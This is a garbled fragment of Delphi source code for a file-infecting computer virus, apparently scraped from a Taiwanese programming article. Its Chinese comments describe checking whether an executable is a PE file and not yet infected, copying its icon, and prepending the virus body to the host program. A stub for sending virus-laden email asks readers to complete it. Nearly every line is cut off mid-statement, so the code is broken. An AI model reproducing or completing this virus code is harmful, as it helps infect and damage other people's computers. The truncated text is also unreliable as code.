begin
Si
Si
Si
Si
Si
Si
Si
Si
end;
{ 發帶毒郵件 }
procedure SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream
IcoStream
iID: LongInt;
aIcon: TIcon;
Infected
i: Integer;
Buf: array[
begin
try //出錯則文件正在被使用
if CompareText(FileName
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream
try
for i :=
begin
SrcStream
SrcStream
if (Buf[
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream
SrcStream
if (iID = ID) or (SrcStream
Infected := True;
finally
SrcStream
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream
DstStream := TMemoryStream
try
aIcon := TIcon
try
//得到被感染文件的主圖標(
aIcon
aIcon
aIcon
finally
aIcon
end;
SrcStream := TFileStream
//頭文件
HdrStream := TFileStream
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream
//寫入目前程序的主圖標
CopyStream(IcoStream
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream
//寫入宿主程序
[
From:http://tw.wingwit.com/Article/program/Delphi/201311/8474.html